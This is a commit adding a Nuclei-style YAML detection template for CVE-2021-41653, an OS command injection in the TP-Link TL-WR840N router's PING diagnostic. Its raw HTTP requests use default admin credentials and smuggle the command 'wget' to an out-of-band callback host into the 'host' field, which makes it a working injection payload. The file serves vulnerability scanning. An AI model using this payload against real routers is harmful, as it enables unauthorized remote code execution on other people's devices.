Create CVE-2021-41653.yaml

The PING function on the TP-Link TL-WR840N EU v5 router with firmware through TL-WR840N(EU)_V5_171211 is vulnerable to remote code execution via a crafted payload in an IP address input field.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>

cves/2021/CVE-2021-41653.yaml

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+id: CVE-2021-41653
+
+info:
+  name: TP-Link - OS Command Injection
+  description: The PING function on the TP-Link TL-WR840N EU v5 router with firmware through TL-WR840N(EU)_V5_171211 is vulnerable to remote code execution via a crafted payload in an IP address input field.
+  author: gy741
+  severity: critical
+  reference:
+    - https://k4m1ll0.com/cve-2021-41653.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-41653
+  tags: cve,cve2021,tplink,rce
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.80
+    cve-id: CVE-2021-41653
+    cwe-id: CWE-94
+
+requests:
+  - raw:
+      - |
+        POST /cgi?2 HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+        Connection: keep-alive
+        Content-Type: text/plain
+        Referer: http://{{Hostname}}/mainFrame.htm
+        Cookie: Authorization=Basic YWRtaW46YWRtaW4=
+
+        [IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
+        dataBlockSize=64
+        timeout=1
+        numberOfRepetitions=4
+        host=$(echo 127.0.0.1; wget http://{{interactsh-url}})
+        X_TP_ConnName=ewan_ipoe_d
+        diagnosticsState=Requested
+
+        POST /cgi?7 HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+        Connection: keep-alive
+        Content-Type: text/plain
+        Referer: http://{{Hostname}}/mainFrame.htm
+        Cookie: Authorization=Basic YWRtaW46YWRtaW4=
+
+        [ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"